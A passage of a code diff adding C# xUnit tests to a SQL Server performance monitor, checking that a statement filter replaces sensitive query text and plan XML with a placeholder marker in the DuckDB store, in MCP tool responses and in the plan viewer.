+            Assert.DoesNotContain(needle, raw.Context, StringComparison.Ordinal);
+        }
+        Assert.Contains(SensitiveStatements.PlaceholderText, raw.Context, StringComparison.Ordinal);
+        Assert.Contains("abc123", raw.Context, StringComparison.Ordinal);
+
+        var plain = rows["Scrub Plain"];
+        Assert.Equal("Long query: " + StatementScrubCanary.PlainStatement, plain.Detail);
+        Assert.Equal(plainContext, plain.Context);
+    }
+
+    /// <summary>The Lite writers call the helper; reverting either call fails this on the old shape.</summary>
+    [Fact]
+    public void TheLiteWritersCallTheHelper()
+    {
+        var finding = File.ReadAllText(RepoPath("Lite/Analysis/FindingStore.cs"));
+        Assert.Contains("DerivedStoreScrub.Text(finding.StoryText)", finding, StringComparison.Ordinal);
+        Assert.Contains("DerivedStoreScrub.Json(DrillDownSerializer.Serialize(finding.DrillDown))", finding, StringComparison.Ordinal);
+
+        var alert = File.ReadAllText(RepoPath("Lite/Services/DuckDbAlertHistoryStore.cs"));
+        Assert.Contains("DerivedStoreScrub.Text(record.DetailText)", alert, StringComparison.Ordinal);
+        Assert.Contains("DerivedStoreScrub.Json(record.ContextJson)", alert, StringComparison.Ordinal);
+    }
+
+    private static string RepoPath(string relative, [CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", relative));
+}
diff --git a/Lite.Tests/StatementScrubLiteCollectionTests.cs b/Lite.Tests/StatementScrubLiteCollectionTests.cs
new file mode 100644
index 0000000000..67458dbab2
--- /dev/null
+++ b/Lite.Tests/StatementScrubLiteCollectionTests.cs
@@ -0,0 +1,488 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data;
+using System.Data.Common;
+using System.Globalization;
+using System.IO;
+using System.IO.Pipelines;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using Darling.Tests;
+using Lite.Tests.Helpers;
+using Microsoft.Extensions.DependencyInjection;
+using ModelContextProtocol.Client;
+using ModelContextProtocol.Protocol;
+using ModelContextProtocol.Server;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4348 (statement filter), the end-to-end proof for Lite's DuckDB store: a new row holds the marker, and an old row
+/// reads back as the marker without being changed.
+///
+/// <para><b>Collect.</b> The canary goes in as the rows a monitored server would return, and
+/// <c>RemoteCollectorService.RunCollectorDefinitionAsync</c> runs the real definition against a real DuckDB file: read,
+/// filter, delta, dedupe, append. query_stats and deadlocks take the runner's Azure per-database loop, the only loop
+/// with a reader seam. query_snapshots takes the server-wide loop, which opens a real SQL Server connection, so that case
+/// drives the same definition and the same appender the runner uses (<c>ReadAsync</c>, then the appender row writer).</para>
+///
+/// <para><b>Read.</b> Rows are planted straight into the tables, as rows stored before the upgrade would be. Each tool
+/// reads RAW (the control: the canary must still be there) and then through a real in-process MCP server that registers
+/// the host's real call-tool filter list. The answer shows the marker and no secret needle. The planted table's bytes
+/// are hashed before the reads and after: a read never rewrites a stored row.</para>
+/// </summary>
+public sealed class StatementScrubLiteCollectionTests : IClassFixture<SharedDuckDbFixture>, IAsyncDisposable
+{
+    private const string ServerName = "SsfE2eLiteSrv";
+    private const string Db = "SsfE2eDb";
+    private static readonly DateTime Anchor = new(2031, 6, 10, 12, 0, 0, DateTimeKind.Unspecified);
+
+    private readonly DuckDbInitializer _duckDb;
+    private readonly string _configDir;
+    private readonly ServerManager _serverManager;
+    private readonly ServerConnection _server;
+    private readonly RemoteCollectorService _collector;
+    private readonly LocalDataService _service;
+    private readonly int _serverId;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 930000;
+    private McpHost? _host;
+
+    public StatementScrubLiteCollectionTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+        _configDir = Path.Combine(Path.GetTempPath(), "pmlite-ssf-e2e-" + Guid.NewGuid().ToString("N"));
+        Directory.CreateDirectory(_configDir);
+        _serverManager = new ServerManager(_configDir);
+        _server = new ServerConnection { Id = Guid.NewGuid().ToString(), ServerName = ServerName, DisplayName = ServerName, IsEnabled = true };
+        _serverManager.AddServer(_server);
+
+        /* Azure SQL Database engine edition, so query_stats and deadlocks take the per-database loop. */
+        _serverManager.GetConnectionStatus(_server.Id).SqlEngineEdition = 5;
+        _serverId = RemoteCollectorService.GetServerId(_server);
+        _collector = new RemoteCollectorService(_duckDb, _serverManager, new ScheduleManager(_configDir));
+        _service = new LocalDataService(_duckDb);
+    }
+
+    public async ValueTask DisposeAsync()
+    {
+        if (_host is not null) await _host.DisposeAsync();
+        _seedConn?.Dispose();
+        try { Directory.Delete(_configDir, recursive: true); } catch (IOException) { /* temp dir */ }
+    }
+
+    // ── collect ──
+
+    [Fact]
+    public async Task QueryStats_TheCanaryThroughTheRunner_IsStoredAsTheMarker_AndThePlainStatementIsKept()
+    {
+        _collector.AzureDatabaseListOverrideForTests = (_, _) => Task.FromResult(new List<string> { "alpha" });
+        _collector.AzureDatabaseReaderOverrideForTests = (_, _) => QueryStatsReader();
+
+        await _collector.RunCollectorDefinitionAsync(QueryStatsCollector.Instance, _server, CancellationToken.None);
+
+        var rows = await QueryAsync("SELECT query_hash || '|' || COALESCE(query_text, '<null>') FROM query_stats WHERE server_id = " + _serverId + " ORDER BY query_hash");
+        Assert.Equal(new[] { "0xC0|" + SensitiveStatements.PlaceholderText, "0xP0|" + StatementScrubCanary.PlainStatement }, rows);
+        AssertNoSecret(await WholeTableTextAsync("query_stats"));
+    }
+
+    [Fact]
+    public async Task Deadlocks_TheCanaryThroughTheRunner_IsStoredAsTheMarker_InTheVictimTextAndTheGraph()
+    {
+        _collector.AzureDatabaseListOverrideForTests = (_, _) => Task.FromResult(new List<string> { "alpha" });
+        _collector.AzureDatabaseReaderOverrideForTests = (_, _) => DeadlocksReader();
+
+        await _collector.RunCollectorDefinitionAsync(DeadlocksCollector.Instance, _server, CancellationToken.None);
+
+        var victims = await QueryAsync("SELECT COALESCE(victim_sql_text, '<null>') FROM deadlocks WHERE server_id = " + _serverId + " ORDER BY deadlock_time");
+        Assert.Equal(new[] { SensitiveStatements.PlaceholderText, StatementScrubCanary.PlainStatement }, victims);
+
+        var graphs = await QueryAsync("SELECT deadlock_graph_xml FROM deadlocks WHERE server_id = " + _serverId + " ORDER BY deadlock_time");
+        foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, graphs[0], StringComparison.Ordinal);
+        Assert.Contains(SensitiveStatements.PlaceholderText, graphs[0], StringComparison.Ordinal);
+        Assert.Contains(StatementScrubCanary.PlainStatement, graphs[1], StringComparison.Ordinal);
+        AssertNoSecret(await WholeTableTextAsync("deadlocks"));
+    }
+
+    [Fact]
+    public async Task QuerySnapshots_TheCanaryThroughTheDefinitionAndTheAppender_IsStoredAsTheMarker_AndBothPlansAreFiltered()
+    {
+        var definition = QuerySnapshotsCollector.Instance;
+        var context = new CollectorContext
+        {
+            ServerId = _serverId,
+            ServerName = ServerName,
+            CollectionTime = Anchor,
+            Deltas = new RecordingCollectorDeltaCalculator(),
+            Target = new CollectorTargetInfo(),
+        };
+
+        using (var reader = SnapshotsReader())
+        {
+            var read = await definition.ReadAsync(reader, context, CancellationToken.None);
+            using var connection = _duckDb.CreateConnection();
+            await connection.OpenAsync(TestContext.Current.CancellationToken);
+            using var appender = connection.CreateAppender(definition.TargetTable);
+            foreach (var row in read)
+            {
+                var appenderRow = appender.CreateRow();
+                if (definition.IncludesCollectionId) appenderRow.AppendValue(_nextId++);
+                appenderRow.AppendValue(context.CollectionTime).AppendValue(context.ServerId).AppendValue(context.ServerName);
+                definition.WritePayload(row, new AppenderCollectorRowWriter { CurrentRow = appenderRow }, context);
+                appenderRow.EndRow();
+            }
+        }
+
+        var rows = await QueryAsync("SELECT CAST(session_id AS VARCHAR) || '|' || COALESCE(query_text, '<null>') FROM query_snapshots WHERE server_id = " + _serverId + " ORDER BY session_id");
+        Assert.Equal(new[] { "81|" + SensitiveStatements.PlaceholderText, "82|" + StatementScrubCanary.PlainStatement }, rows);
+
+        foreach (string column in new[] { "query_plan", "live_query_plan" })
+        {
+            var plans = await QueryAsync("SELECT " + column + " FROM query_snapshots WHERE server_id = " + _serverId + " AND session_id = 81 AND " + column + " IS NOT NULL");
+            string plan = Assert.Single(plans);
+            AssertPlanFilteredKeepsTheRest(plan);
+        }
+
+        AssertNoSecret(await WholeTableTextAsync("query_snapshots"));
+    }
+
+    [Fact]
+    public async Task QuerySnapshots_TheCanaryThroughTheRunnersServerWidePath_IsStoredAsTheMarker_AndBothPlansAreFiltered()
+    {
+        /* #5320: the runner's server-wide single-query path, driven through its reader seam (the twin of the Azure
+           per-database seam the two tests above use). */
+        _collector.ServerReaderOverrideForTests = _ => SnapshotsReader();
+
+        await _collector.RunCollectorDefinitionAsync(QuerySnapshotsCollector.Instance, _server, CancellationToken.None);
+
+        var rows = await QueryAsync("SELECT CAST(session_id AS VARCHAR) || '|' || COALESCE(query_text, '<null>') FROM query_snapshots WHERE server_id = " + _serverId + " ORDER BY session_id");
+        Assert.Equal(new[] { "81|" + SensitiveStatements.PlaceholderText, "82|" + StatementScrubCanary.PlainStatement }, rows);
+
+        foreach (string column in new[] { "query_plan", "live_query_plan" })
+        {
+            var plans = await QueryAsync("SELECT " + column + " FROM query_snapshots WHERE server_id = " + _serverId + " AND session_id = 81 AND " + column + " IS NOT NULL");
+            string plan = Assert.Single(plans);
+            AssertPlanFilteredKeepsTheRest(plan);
+        }
+
+        AssertNoSecret(await WholeTableTextAsync("query_snapshots"));
+    }
+
+    // ── read ──
+
+    [Fact]
+    public async Task QuerySnapshots_ARowStoredBeforeTheUpgrade_ReadsBackAsTheMarker_AndTheStoredRowIsUnchanged()
+    {
+        await ExecAsync(@"
+INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text, status)
+VALUES ($1, $2, $3, $4, 77, 'SsfDb', $5, 'running')", _nextId++, Naive(DateTime.UtcNow.AddMinutes(-5)), _serverId, ServerName, StatementScrubCanary.CanaryStatement);
+        await ExecAsync(@"
+INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text, status)
+VALUES ($1, $2, $3, $4, 78, 'SsfDb', $5, 'running')", _nextId++, Naive(DateTime.UtcNow.AddMinutes(-5)), _serverId, ServerName, StatementScrubCanary.PlainStatement);
+        string before = await TableHashAsync("query_snapshots");
+
+        string raw = await McpSessionTools.GetActiveQueries(_service, _serverManager, ServerName);
+        string filtered = await CallFilteredAsync("get_active_queries", ("server_name", ServerName));
+        AssertWithheld(raw, filtered, toolJudgesAtRead: true);
+
+        Assert.Equal(before, await TableHashAsync("query_snapshots"));
+    }
+
+    [Fact]
+    public async Task QueryStats_ARowStoredBeforeTheUpgrade_ReadsBackAsTheMarker_TextAndPlan_AndTheStoredRowIsUnchanged()
+    {
+        await SeedQueryStatAsync("0xCANARY01", StatementScrubCanary.CanaryStatement, StatementScrubCanary.CanaryPlan());
+        await SeedQueryStatAsync("0xPLAIN001", StatementScrubCanary.PlainStatement, null);
+        string before = await TableHashAsync("query_stats");
+
+        string raw = await McpQueryTools.GetTopQueriesByCpu(_service, _serverManager, ServerName, hours_back: 24, top: 20);
+        string filtered = await CallFilteredAsync("get_top_queries_by_cpu", ("server_name", ServerName));
+        AssertWithheld(raw, filtered, toolJudgesAtRead: true);
+
+        string filteredPlan = await CallFilteredAsync("get_plan_xml", ("query_hash", "0xCANARY01"), ("server_name", ServerName));
+        AssertPlanFilteredKeepsTheRest(filteredPlan);
+
+        Assert.Equal(before, await TableHashAsync("query_stats"));
+    }
+
+    [Fact]
+    public async Task Deadlocks_ARowStoredBeforeTheUpgrade_ReadsBackAsTheMarker_AndTheStoredRowIsUnchanged()
+    {
+        await ExecAsync(@"
+INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, deadlock_graph_xml, victim_sql_text)
+VALUES ($1, $2, $3, $4, $2, $5, $6)", _nextId++, Naive(DateTime.UtcNow.AddMinutes(-5)), _serverId, ServerName,
+            Graph(StatementScrubCanary.CanaryStatement, StatementScrubCanary.PlainStatement), StatementScrubCanary.CanaryStatement);
+        string before = await TableHashAsync("deadlocks");
+
+        string raw = await McpBlockingTools.GetDeadlockDetail(_service, _serverManager, ServerName, full_graph: true);
+        string filtered = await CallFilteredAsync("get_deadlock_detail", ("server_name", ServerName), ("full_graph", true));
+        AssertWithheld(raw, filtered);
+
+        Assert.Equal(before, await TableHashAsync("deadlocks"));
+    }
+
+    // ── plumbing ──
+
+    private static void AssertNoSecret(string text)
+    {
+        foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, text, StringComparison.Ordinal);
+    }
+
+    /* #5320: since PR N the Lite stats and snapshot tools judge the statement at the read (TruncateStatement), so their raw
+       answer already carries the marker and none of the named text; the deadlock tool still returns it raw. */
+    private static void AssertWithheld(string raw, string filtered, bool toolJudgesAtRead = false)
+    {
+        if (toolJudgesAtRead)
+        {
+            AssertNoSecret(raw);
+            Assert.Contains(SensitiveStatements.PlaceholderText, raw, StringComparison.Ordinal);
+        }
+        else
+        {
+            Assert.Contains("S3cret-canary-ssf", raw, StringComparison.Ordinal);
+        }
+        AssertNoSecret(filtered);
+        Assert.Contains(SensitiveStatements.PlaceholderText, filtered, StringComparison.Ordinal);
+        foreach (string kept in StatementScrubCanary.KeptNeedles.Where(k => raw.Contains(k, StringComparison.Ordinal)))
+            Assert.Contains(kept, filtered, StringComparison.Ordinal);
+    }
+
+    private static void AssertPlanFilteredKeepsTheRest(string filteredPlan)
+    {
+        AssertNoSecret(filteredPlan);
+        var doc = System.Xml.Linq.XDocument.Parse(filteredPlan);
+        var statements = doc.Descendants().Where(e => e.Name.LocalName == "StmtSimple")
+            .Select(e => (string?)e.Attribute("StatementText")).ToList();
+        Assert.Equal(SensitiveStatements.PlaceholderText, statements[0]);
+        Assert.Equal(StatementScrubCanary.PlainStatement, statements[1]);
+        Assert.Contains(doc.Descendants(), e => (string?)e.Attribute("ParameterCompiledValue") == "N'param-canary-ssf'");
+    }
+
+    private static string Graph(string victimText, string otherText) =>
+        "<deadlock><victim-list><victimProcess id=\"p1\"/></victim-list><process-list>"
+        + "<process id=\"p1\" spid=\"55\" waittime=\"100\" lockMode=\"X\" currentdbname=\"" + Db + "\"><executionStack/><inputbuf>"
+        + System.Security.SecurityElement.Escape(victimText) + "</inputbuf></process>"
+        + "<process id=\"p2\" spid=\"56\" waittime=\"200\" lockMode=\"S\" currentdbname=\"" + Db + "\"><executionStack/><inputbuf>"
+        + System.Security.SecurityElement.Escape(otherText) + "</inputbuf></process>"
+        + "</process-list><resource-list/></deadlock>";
+
+    private async Task<string> CallFilteredAsync(string tool, params (string Key, object Value)[] args)
+    {
+        _host ??= await McpHost.StartAsync(_service, _serverManager);
+        var arguments = args.ToDictionary(a => a.Key, a => (object?)a.Value);
+        CallToolResult result = await _host.Client.CallToolAsync(tool, arguments, cancellationToken: TestContext.Current.CancellationToken);
+        return string.Concat(result.Content.OfType<TextContentBlock>().Select(b => b.Text));
+    }
+
+    private Task SeedQueryStatAsync(string queryHash, string queryText, string? planXml) => ExecAsync(@"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, query_hash, query_text, query_plan_xml, database_name,
+     execution_count, total_elapsed_time, total_worker_time, total_logical_reads, total_logical_writes, total_physical_reads,
+     delta_execution_count, delta_elapsed_time, delta_worker_time, delta_logical_reads, delta_logical_writes, delta_physical_reads,
+     delta_rows, delta_spills, last_execution_time)
+VALUES ($1, $2, $3, $4, $5, $6, $7, 'SsfDb', 10, 1000, 1000, 0, 0, 0, 10, 1000, 1000, 0, 0, 0, 0, 0, $2)",
+        _nextId++, Naive(DateTime.UtcNow.AddMinutes(-5)), _serverId, ServerName, queryHash, queryText, (object?)planXml ?? DBNull.Value);
+
+    private static DateTime Naive(DateTime utc) => DateTime.SpecifyKind(utc, DateTimeKind.Unspecified);
+
+    private async Task ExecAsync(string sql, params object[] parameters)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync(TestContext.Current.CancellationToken);
+        }
+
+        using var cmd = _seedConn.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var p in parameters) cmd.Parameters.Add(new DuckDBParameter { Value = p });
+        await cmd.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+    }
+
+    private async Task<List<string>> QueryAsync(string sql)
+    {
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        using var reader = await cmd.ExecuteReaderAsync(TestContext.Current.CancellationToken);
+        var list = new List<string>();
+        while (await reader.ReadAsync(TestContext.Current.CancellationToken))
+        {
+            list.Add(reader.IsDBNull(0) ? "<null>" : reader.GetString(0));
+        }
+
+        return list;
+    }
+
+    /// <summary>Every column of every row of one server in a table, as one text, for a whole-row secret scan.</summary>
+    private async Task<string> WholeTableTextAsync(string table) =>
+        string.Concat(await QueryAsync($"SELECT CAST(t AS VARCHAR) FROM {table} t WHERE server_id = {_serverId}"));
+
+    /// <summary>A hash of the bytes of every row of one server in a table: equal before and after means no read rewrote a row.</summary>
+    private async Task<string> TableHashAsync(string table) =>
+        Assert.Single(await QueryAsync(
+            $"SELECT md5(COALESCE(string_agg(CAST(t AS VARCHAR), '|' ORDER BY CAST(t AS VARCHAR)), '')) || '#' || CAST(count(*) AS VARCHAR) FROM {table} t WHERE server_id = {_serverId}"));
+
+    // ── what the monitored server hands back ──
+
+    private static Type QueryStatsColumnType(int ordinal) => ordinal switch
+    {
+        3 or 4 => typeof(DateTime),
+        0 or 1 or 2 or 36 or 37 or 38 or 42 => typeof(string),
+        40 or 41 or 43 => typeof(int),
+        _ => typeof(long),
+    };
+
+    private static DbDataReader QueryStatsReader()
+    {
+        var table = new DataTable();
+        for (var i = 0; i < 44; i++) table.Columns.Add("c" + i.ToString(CultureInfo.InvariantCulture), QueryStatsColumnType(i));
+        foreach (var (hash, text) in new[]
+        {
+            ("0xC0", StatementScrubCanary.CanaryStatement),
+            ("0xP0", StatementScrubCanary.PlainStatement),
+        })
+        {
+            var values = new object[table.Columns.Count];
+            for (var i = 0; i < values.Length; i++) values[i] = DBNull.Value;
+            values[1] = hash;
+            values[36] = hash + "A";
+            values[37] = hash + "B";
+            values[38] = text;
+            table.Rows.Add(values);
+        }
+
+        return table.CreateDataReader();
+    }
+
+    private static DbDataReader SnapshotsReader()
+    {
+        var table = new DataTable();
+        var types = new Type[35];
+        for (var i = 0; i < types.Length; i++) types[i] = typeof(string);
+        foreach (int i in new[] { 0, 7, 18, 19, 23, 34 }) types[i] = typeof(int);
+        foreach (int i in new[] { 9, 11, 12, 13, 14, 15 }) types[i] = typeof(long);
+        foreach (int i in new[] { 16, 24 }) types[i] = typeof(decimal);
+        types[25] = typeof(bool);
+        foreach (int i in new[] { 27, 28, 29, 30, 31, 32 }) types[i] = typeof(double);
+        types[33] = typeof(DateTime);
+        for (var i = 0; i < types.Length; i++) table.Columns.Add("c" + i.ToString(CultureInfo.InvariantCulture), types[i]);
+
+        foreach (var (session, text, plan) in new[]
+        {
+            (81, StatementScrubCanary.CanaryStatement, StatementScrubCanary.CanaryPlan()),
+            (82, StatementScrubCanary.PlainStatement, (string?)null),
+        })
+        {
+            var values = new object[types.Length];
+            for (var i = 0; i < values.Length; i++) values[i] = DBNull.Value;
+            values[0] = session;
+            values[1] = Db;
+            values[3] = text;
+            values[4] = (object?)plan ?? DBNull.Value;
+            values[5] = (object?)plan ?? DBNull.Value;
+            values[6] = "running";
+            values[26] = "0x" + session.ToString(CultureInfo.InvariantCulture);
+            table.Rows.Add(values);
+        }
+
+        return table.CreateDataReader();
+    }
+
+    private static DbDataReader DeadlocksReader()
+    {
+        var data = new DataSet();
+        var rows = new DataTable();
+        rows.Columns.Add("time", typeof(DateTime));
+        rows.Columns.Add("victim", typeof(string));
+        rows.Columns.Add("graph", typeof(string));
+        rows.Columns.Add("source", typeof(string));
+        rows.Rows.Add(Anchor.AddMinutes(1), "p1", Graph(StatementScrubCanary.CanaryStatement, StatementScrubCanary.PlainStatement), DBNull.Value);
+        rows.Rows.Add(Anchor.AddMinutes(2), "p1", Graph(StatementScrubCanary.PlainStatement, StatementScrubCanary.PlainStatement), DBNull.Value);
+
+        var gate = new DataTable();
+        gate.Columns.Add("count", typeof(long));
+        gate.Columns.Add("gated", typeof(bool));
+        gate.Rows.Add(100L, false);
+        data.Tables.Add(rows);
+        data.Tables.Add(gate);
+        return data.CreateDataReader();
+    }
+
+    /// <summary>A real in-process MCP server with Lite's tool classes, the real data service, and the host's REAL call-tool
+    /// filter list.</summary>
+    private sealed class McpHost : IAsyncDisposable
+    {
+        private readonly ServiceProvider _provider;
+        private readonly CancellationTokenSource _stop;
+        private readonly Task _run;
+
+        private McpHost(ServiceProvider provider, CancellationTokenSource stop, Task run, McpClient client)
+        {
+            _provider = provider;
+            _stop = stop;
+            _run = run;
+            Client = client;
+        }
+
+        public McpClient Client { get; }
+
+        public static async Task<McpHost> StartAsync(LocalDataService data, ServerManager servers)
+        {
+            var c2s = new Pipe();
+            var s2c = new Pipe();
+            var services = new ServiceCollection();
+            services.AddLogging();
+            services.AddSingleton(data);
+            services.AddSingleton(servers);
+            var builder = services.AddMcpServer()
+                .WithStreamServerTransport(c2s.Reader.AsStream(), s2c.Writer.AsStream())
+                .WithTools<McpSessionTools>()
+                .WithTools<McpQueryTools>()
+                .WithTools<McpBlockingTools>()
+                .WithTools<McpPlanTools>();
+            /* Looked up by name: the host's filter list lands with the Lite host change (PR D), and this class has to compile
+               without it so the collect cases run on a branch that does not have it yet. Without the list no read is filtered. */
+            var registration = typeof(McpHostService).GetMethod("AddCallToolFilters",
+                System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.NonPublic);
+            if (registration is not null)
+            {
+                builder.WithRequestFilters((Action<IMcpRequestFilterBuilder>)Delegate.CreateDelegate(typeof(Action<IMcpRequestFilterBuilder>), registration));
+            }
+
+            var provider = services.BuildServiceProvider();
+            var stop = new CancellationTokenSource();
+            var run = provider.GetRequiredService<McpServer>().RunAsync(stop.Token);
+            var client = await McpClient.CreateAsync(new StreamClientTransport(c2s.Writer.AsStream(), s2c.Reader.AsStream()));
+            return new McpHost(provider, stop, run, client);
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await Client.DisposeAsync();
+            _stop.Cancel();
+            await _provider.DisposeAsync();
+            try { await _run; } catch (Exception) { /* shutdown */ }
+        }
+    }
+}
diff --git a/Lite.Tests/StatementScrubLivePlanDisplayTests.cs b/Lite.Tests/StatementScrubLivePlanDisplayTests.cs
new file mode 100644
index 0000000000..5c05e30906
--- /dev/null
+++ b/Lite.Tests/StatementScrubLivePlanDisplayTests.cs
@@ -0,0 +1,267 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Windows;
+using System.Windows.Controls;
+using Darling.Tests;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.PlanAnalysis;
+using PerformanceMonitor.Ui;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4348, Lite's live plan display. The plans a Lite window fetches live from the monitored server
+/// (<c>FetchQueryPlanOnDemandAsync</c>, <c>FetchProcedurePlanOnDemandAsync</c>, <c>FetchQueryStorePlanAsync</c>) are
+/// not collected, so the collection-time filter never sees them: each display site passes the result through
+/// <see cref="LivePlanDisplay.Filter"/> at the call. Pinned here: the helper, a scan of every caller in the app, and
+/// the state the plan viewer is left in for a plan the filter withholds whole.
+/// </summary>
+public sealed class StatementScrubLivePlanDisplayTests
+{
+    private const string Marker = SensitiveStatements.PlaceholderText;
+
+    [Fact]
+    public void ALiveFetchedCanaryPlan_ReachesTheDisplayStringWithTheMarker()
+    {
+        var shown = LivePlanDisplay.Filter(StatementScrubCanary.CanaryPlan());
+
+        Assert.NotNull(shown);
+        Assert.Contains(Marker, shown!, StringComparison.Ordinal);
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.DoesNotContain(needle, shown!, StringComparison.Ordinal);
+        }
+
+        foreach (var kept in StatementScrubCanary.KeptNeedles)
+        {
+            Assert.Contains(kept, shown!, StringComparison.Ordinal);
+        }
+
+        /* What the viewer loads: the plan still parses, statement 1 reads as the marker, statement 2 is untouched. */
+        var parsed = ShowPlanParser.Parse(shown!);
+        Assert.Null(parsed.ParseError);
+    }
+
+    [Fact]
+    public void APlanTheFilterFindsNothingIn_IsTheSameInstance_AndNullAndEmptyPassThrough()
+    {
+        var plain = "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\"><BatchSequence><Batch><Statements>"
+            + "<StmtSimple StatementText=\"" + StatementScrubCanary.PlainStatement + "\" /></Statements></Batch></BatchSequence></ShowPlanXML>";
+
+        Assert.Same(plain, LivePlanDisplay.Filter(plain));
+        Assert.Null(LivePlanDisplay.Filter(null));
+        Assert.Equal(string.Empty, LivePlanDisplay.Filter(string.Empty));
+    }
+
+    /// <summary>
+    /// The shared parser still refuses the marker (it is not a plan), which is why the viewer must not hand it to the
+    /// parser: <c>PlanViewerControl.LoadPlan</c> answers a whole-plan marker with the withheld sentence instead of the
+    /// parse error ("The plan XML could not be read"), and the next test holds that.
+    /// </summary>
+    [Fact]
+    public void TheParserRefusesTheMarker_SoTheViewerMustNotParseIt()
+    {
+        var parsed = ShowPlanParser.Parse(Marker);
+
+        Assert.False(string.IsNullOrEmpty(PlanDisplayText.ParseErrorMessage(parsed)));
+        Assert.DoesNotContain(PlanStatements.EnumerateAll(parsed), s => s.RootNode != null);
+    }
+
+    [Fact]
+    public void APlanWithheldWhole_ShowsTheWithheldSentenceInTheViewer_NotAParseError()
+    {
+        StaTestThread.Run(() =>
+        {
+            var control = new PlanViewerControl();
+            try
+            {
+                control.LoadPlan(Marker, "Stored Plan").GetAwaiter().GetResult();
+
+                var title = (TextBlock)control.FindName("EmptyStateTitle");
+                Assert.Equal(SensitiveStatements.WithheldPlanSentence, title.Text);
+                Assert.Equal("This plan was withheld by the statement filter (#4348).", title.Text);
+                Assert.DoesNotContain("could not be read", title.Text, StringComparison.Ordinal);
+                Assert.Equal(Visibility.Visible, ((UIElement)control.FindName("EmptyState")).Visibility);
+                Assert.Equal(Visibility.Collapsed, ((UIElement)control.FindName("EmptyStateDetail")).Visibility);
+                Assert.Equal(Visibility.Collapsed, ((UIElement)control.FindName("PlanScrollViewer")).Visibility);
+            }
+            finally
+            {
+                control.Cleanup();
+            }
+        });
+    }
+
+    [Fact]
+    public void TheWithheldGuard_RefusesOnlyTheMarker_AndARealPlanIsUnchanged()
+    {
+        Assert.Equal(SensitiveStatements.WithheldPlanSentence, WithheldPlanGuard.WithheldSentence(Marker));
+        Assert.Equal(SensitiveStatements.WithheldPlanSentence, WithheldPlanGuard.WithheldSentence("  " + Marker + "\r\n"));
+
+        var plain = "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\"><BatchSequence><Batch><Statements>"
+            + "<StmtSimple StatementText=\"" + StatementScrubCanary.PlainStatement + "\" /></Statements></Batch></BatchSequence></ShowPlanXML>";
+
+        Assert.Null(WithheldPlanGuard.WithheldSentence(plain));
+        Assert.Null(WithheldPlanGuard.WithheldSentence(StatementScrubCanary.CanaryPlan()));
+        Assert.Null(WithheldPlanGuard.WithheldSentence(null));
+        Assert.Null(WithheldPlanGuard.WithheldSentence(string.Empty));
+
+        /* A real plan is not refused, and nothing is shown for it (a refusal would put up a message box). */
+        Assert.False(WithheldPlanGuard.RefuseSave(plain));
+        Assert.False(WithheldPlanGuard.RefuseSave(null));
+        Assert.Null(ShowPlanParser.Parse(plain).ParseError);
+    }
+
+    /// <summary>
+    /// Every place in the app that writes a plan to a <c>.sqlplan</c> file asks <c>WithheldPlanGuard.RefuseSave</c>
+    /// first, so the marker is never saved as a plan. A new save site fails here until it does.
+    /// </summary>
+    [Fact]
+    public void EveryPlanSaveSite_RefusesTheWithheldMarkerFirst()
+    {
+        var problems = new List<string>();
+        var sites = 0;
+
+        foreach (var root in new[] { "Lite", "PerformanceMonitor.Ui" })
+        {
+            foreach (var file in Directory.EnumerateFiles(Path.Combine(RepoRoot(), root), "*.cs", SearchOption.AllDirectories))
+            {
+                var relative = Path.GetRelativePath(RepoRoot(), file).Replace('\\', '/');
+                if (relative.Contains("/obj/", StringComparison.Ordinal) || relative.Contains("/bin/", StringComparison.Ordinal))
+                {
+                    continue;
+                }
+
+                var text = File.ReadAllText(file);
+                if (!text.Contains("new SaveFileDialog", StringComparison.Ordinal) || !text.Contains(".sqlplan\"", StringComparison.Ordinal))
+                {
+                    continue;
+                }
+
+                sites++;
+                if (!text.Contains("WithheldPlanGuard.RefuseSave(", StringComparison.Ordinal))
+                {
